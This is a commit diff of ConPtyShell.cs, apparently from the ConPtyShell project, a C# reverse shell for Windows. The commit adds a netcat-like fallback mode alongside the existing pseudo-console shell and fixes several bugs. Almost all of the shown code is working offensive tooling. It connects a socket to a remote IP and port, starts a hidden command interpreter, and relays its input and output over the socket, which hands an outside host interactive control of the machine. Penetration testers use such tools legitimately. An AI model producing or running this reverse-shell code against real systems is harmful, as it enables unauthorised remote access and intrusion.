Skip to content

Commit f321af1

Browse files
committed
added netcat-like shell and bugfixes
1 parent 019eefe commit f321af1

3 files changed

Lines changed: 148 additions & 114 deletions

File tree

ConPtyShell.cs

Lines changed: 73 additions & 56 deletions
Original file line numberDiff line numberDiff line change
@@ -13,8 +13,10 @@ public static class ConPtyShell
1313
private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008;
1414
private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016;
1515
private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
16+
private const uint CREATE_NO_WINDOW = 0x08000000;
17+
private const int STARTF_USESTDHANDLES = 0x00000100;
18+
1619
private const UInt32 INFINITE = 0xFFFFFFFF;
17-
private const int SW_HIDE = 0;
1820
private const uint GENERIC_READ = 0x80000000;
1921
private const uint GENERIC_WRITE = 0x40000000;
2022
private const uint FILE_SHARE_READ = 0x00000001;
@@ -91,6 +93,9 @@ private struct COORD
9193
[return: MarshalAs(UnmanagedType.Bool)]
9294
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
9395

96+
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Auto)]
97+
private static extern bool CreateProcessW(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
98+
9499
[DllImport("kernel32.dll", SetLastError=true)]
95100
[return: MarshalAs(UnmanagedType.Bool)]
96101
private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
@@ -106,10 +111,10 @@ private struct COORD
106111

107112
[DllImport("kernel32.dll", SetLastError = true)]
108113
private static extern bool CloseHandle(IntPtr hObject);
109-
114+
110115
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
111-
private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, IntPtr lpPipeAttributes, int nSize);
112-
116+
private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, SECURITY_ATTRIBUTES lpPipeAttributes, int nSize);
117+
113118
[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
114119
private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
115120

@@ -130,19 +135,12 @@ private struct COORD
130135

131136
[DllImport("kernel32.dll", SetLastError = true)]
132137
private static extern bool GetConsoleMode(IntPtr handle, out uint mode);
133-
134-
[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
135-
private static extern bool FreeConsole();
136138

137-
[DllImport("kernel32.dll")]
138-
[return: MarshalAs(UnmanagedType.Bool)]
139-
private static extern bool AllocConsole();
139+
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
140+
private static extern IntPtr GetModuleHandle(string lpModuleName);
140141

141-
[DllImport("user32.dll")]
142-
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
143-
144-
[DllImport("kernel32.dll")]
145-
private static extern IntPtr GetConsoleWindow();
142+
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
143+
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
146144

147145
private static Socket ConnectSocket(string remoteIp, int remotePort){
148146
Socket s = null;
@@ -178,10 +176,16 @@ private static void TryParseRowsColsFromSocket(Socket shellSocket, ref uint rows
178176
}
179177
}
180178

179+
private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite){
180+
int securityAttributeSize = Marshal.SizeOf<SECURITY_ATTRIBUTES>();
181+
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES { nLength = securityAttributeSize, bInheritHandle=1, lpSecurityDescriptor=IntPtr.Zero };
182+
if(!CreatePipe(out InputPipeRead, out InputPipeWrite, pSec, 0))
183+
throw new InvalidOperationException("Could not create the InputPipe");
184+
if(!CreatePipe(out OutputPipeRead, out OutputPipeWrite, pSec, 0))
185+
throw new InvalidOperationException("Could not create the OutputPipe");
186+
}
187+
181188
private static void InitConsole(){
182-
FreeConsole();
183-
AllocConsole();
184-
ShowWindow(GetConsoleWindow(), SW_HIDE);
185189
IntPtr hStdout = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
186190
IntPtr hStdin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
187191
SetStdHandle(STD_OUTPUT_HANDLE, hStdout);
@@ -204,22 +208,10 @@ private static void EnableVirtualTerminalSequenceProcessing()
204208
}
205209
}
206210

207-
private static int CreatePipesAndPseudoConsole(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeWrite, ref IntPtr ConPtyOutputPipeRead, uint rows, uint cols){
211+
private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){
208212
int result = -1;
209-
IntPtr ConPtyInputPipeRead = new IntPtr(0);
210-
IntPtr ConPtyOutputPipeWrite = new IntPtr(0);
211-
if(!CreatePipe(out ConPtyInputPipeRead, out ConPtyInputPipeWrite, IntPtr.Zero, 0))
212-
throw new InvalidOperationException("Could not create the ConPtyInputPipe");
213-
if(!CreatePipe(out ConPtyOutputPipeRead, out ConPtyOutputPipeWrite, IntPtr.Zero, 0))
214-
throw new InvalidOperationException("Could not create the ConPtyOutputPipe");
215-
InitConsole();
216213
EnableVirtualTerminalSequenceProcessing();
217214
result = CreatePseudoConsole(new COORD { X = (short)cols, Y = (short)rows }, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole);
218-
// Note: We can close the handles to the PTY-end of the pipes here
219-
// because the handles are dup'ed into the ConHost and will be released
220-
// when the ConPTY is destroyed.
221-
CloseHandle(ConPtyInputPipeRead);
222-
CloseHandle(ConPtyOutputPipeWrite);
223215
return result;
224216
}
225217

@@ -270,21 +262,22 @@ private static PROCESS_INFORMATION CreateChildProcessWithPseudoConsole(IntPtr ha
270262
private static void ThreadReadPipeWriteSocket(object threadParams)
271263
{
272264
object[] threadParameters = (object[]) threadParams;
273-
IntPtr ConPtyOutputPipeRead = (IntPtr)threadParameters[0];
265+
IntPtr OutputPipeRead = (IntPtr)threadParameters[0];
274266
Socket shellSocket = (Socket)threadParameters[1];
275-
byte[] bytesToWrite = new byte[1024];
267+
uint bufferSize=16*1024;
268+
byte[] bytesToWrite = new byte[bufferSize];
276269
bool readSuccess = false;
277270
Int32 bytesSent = 0;
278271
uint dwBytesRead=0;
279272
do{
280-
readSuccess = ReadFile(ConPtyOutputPipeRead, bytesToWrite, 1024, out dwBytesRead, IntPtr.Zero);
273+
readSuccess = ReadFile(OutputPipeRead, bytesToWrite, bufferSize, out dwBytesRead, IntPtr.Zero);
281274
bytesSent = shellSocket.Send(bytesToWrite, (Int32)dwBytesRead, 0);
282275
} while (bytesSent > 0 && readSuccess);
283276
}
284277

285-
private static Thread StartThreadReadPipeWriteSocket(IntPtr ConPtyOutputPipeRead, Socket shellSocket){
278+
private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, Socket shellSocket){
286279
object[] threadParameters = new object[2];
287-
threadParameters[0]=ConPtyOutputPipeRead;
280+
threadParameters[0]=OutputPipeRead;
288281
threadParameters[1]=shellSocket;
289282
Thread thThreadReadPipeWriteSocket = new Thread(ThreadReadPipeWriteSocket);
290283
thThreadReadPipeWriteSocket.Start(threadParameters);
@@ -294,23 +287,24 @@ private static Thread StartThreadReadPipeWriteSocket(IntPtr ConPtyOutputPipeRead
294287
private static void ThreadReadSocketWritePipe(object threadParams)
295288
{
296289
object[] threadParameters = (object[]) threadParams;
297-
IntPtr ConPtyInputPipeWrite = (IntPtr)threadParameters[0];
290+
IntPtr InputPipeWrite = (IntPtr)threadParameters[0];
298291
Socket shellSocket = (Socket)threadParameters[1];
299292
IntPtr hChildProcess = (IntPtr)threadParameters[2];
300-
byte[] bytesReceived = new byte[8];
293+
uint bufferSize=16*1024;
294+
byte[] bytesReceived = new byte[bufferSize];
301295
bool writeSuccess = false;
302296
Int32 nBytesReceived = 0;
303297
uint bytesWritten = 0;
304298
do{
305-
nBytesReceived = shellSocket.Receive(bytesReceived, (Int32)8, 0);
306-
writeSuccess = WriteFile(ConPtyInputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero);
299+
nBytesReceived = shellSocket.Receive(bytesReceived, (Int32)bufferSize, 0);
300+
writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero);
307301
} while (nBytesReceived > 0 && writeSuccess);
308302
TerminateProcess(hChildProcess, 0);
309303
}
310304

311-
private static Thread StartThreadReadSocketWritePipe(IntPtr ConPtyInputPipeWrite, Socket shellSocket, IntPtr hChildProcess){
305+
private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, Socket shellSocket, IntPtr hChildProcess){
312306
object[] threadParameters = new object[3];
313-
threadParameters[0]=ConPtyInputPipeWrite;
307+
threadParameters[0]=InputPipeWrite;
314308
threadParameters[1]=shellSocket;
315309
threadParameters[2]=hChildProcess;
316310
Thread thReadSocketWritePipe = new Thread(ThreadReadSocketWritePipe);
@@ -326,19 +320,42 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows
326320
return output;
327321
}
328322
TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols);
329-
IntPtr ConPtyInputPipeWrite = new IntPtr(0);
330-
IntPtr ConPtyOutputPipeRead = new IntPtr(0);
323+
IntPtr InputPipeRead = new IntPtr(0);
324+
IntPtr InputPipeWrite = new IntPtr(0);
325+
IntPtr OutputPipeRead = new IntPtr(0);
326+
IntPtr OutputPipeWrite = new IntPtr(0);
331327
IntPtr handlePseudoConsole = new IntPtr(0);
332-
int pseudoConsoleCreationResult = CreatePipesAndPseudoConsole(ref handlePseudoConsole, ref ConPtyInputPipeWrite, ref ConPtyOutputPipeRead, rows, cols);
333-
if(pseudoConsoleCreationResult != 0)
334-
{
335-
output += string.Format("{0}Could not create psuedo console. Error Code {1}", errorString, pseudoConsoleCreationResult.ToString());
336-
return output;
328+
PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION();
329+
CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite);
330+
InitConsole();
331+
if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") == IntPtr.Zero){
332+
Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n");
333+
STARTUPINFO sInfo = new STARTUPINFO();
334+
sInfo.cb = Marshal.SizeOf(sInfo);
335+
sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES;
336+
sInfo.hStdInput = InputPipeRead;
337+
sInfo.hStdOutput = OutputPipeWrite;
338+
sInfo.hStdError = OutputPipeWrite;
339+
CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo);
337340
}
338-
PROCESS_INFORMATION childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine);
341+
else{
342+
Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell...\r\n");
343+
int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols);
344+
if(pseudoConsoleCreationResult != 0)
345+
{
346+
output += string.Format("{0}Could not create psuedo console. Error Code {1}", errorString, pseudoConsoleCreationResult.ToString());
347+
return output;
348+
}
349+
childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine);
350+
}
351+
// Note: We can close the handles to the PTY-end of the pipes here
352+
// because the handles are dup'ed into the ConHost and will be released
353+
// when the ConPTY is destroyed.
354+
if (InputPipeRead != IntPtr.Zero) CloseHandle(InputPipeRead);
355+
if (OutputPipeWrite != IntPtr.Zero) CloseHandle(OutputPipeWrite);
339356
//Threads have better performance than Tasks
340-
Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(ConPtyOutputPipeRead, shellSocket);
341-
Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(ConPtyInputPipeWrite, shellSocket, childProcessInfo.hProcess);
357+
Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket);
358+
Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess);
342359
WaitForSingleObject(childProcessInfo.hProcess, INFINITE);
343360
//cleanup everything
344361
thThreadReadPipeWriteSocket.Abort();
@@ -347,10 +364,10 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows
347364
shellSocket.Close();
348365
CloseHandle(childProcessInfo.hThread);
349366
CloseHandle(childProcessInfo.hProcess);
350-
ClosePseudoConsole(handlePseudoConsole);
351-
if (ConPtyInputPipeWrite != IntPtr.Zero) CloseHandle(ConPtyInputPipeWrite);
352-
if (ConPtyOutputPipeRead != IntPtr.Zero) CloseHandle(ConPtyOutputPipeRead);
353-
output += "\r\nConPtyShell kindly exited.\r\n";
367+
if (handlePseudoConsole != IntPtr.Zero) ClosePseudoConsole(handlePseudoConsole);
368+
if (InputPipeWrite != IntPtr.Zero) CloseHandle(InputPipeWrite);
369+
if (OutputPipeRead != IntPtr.Zero) CloseHandle(OutputPipeRead);
370+
output += "ConPtyShell kindly exited.\r\n";
354371
return output;
355372
}
356373
}

0 commit comments

Comments
 (0)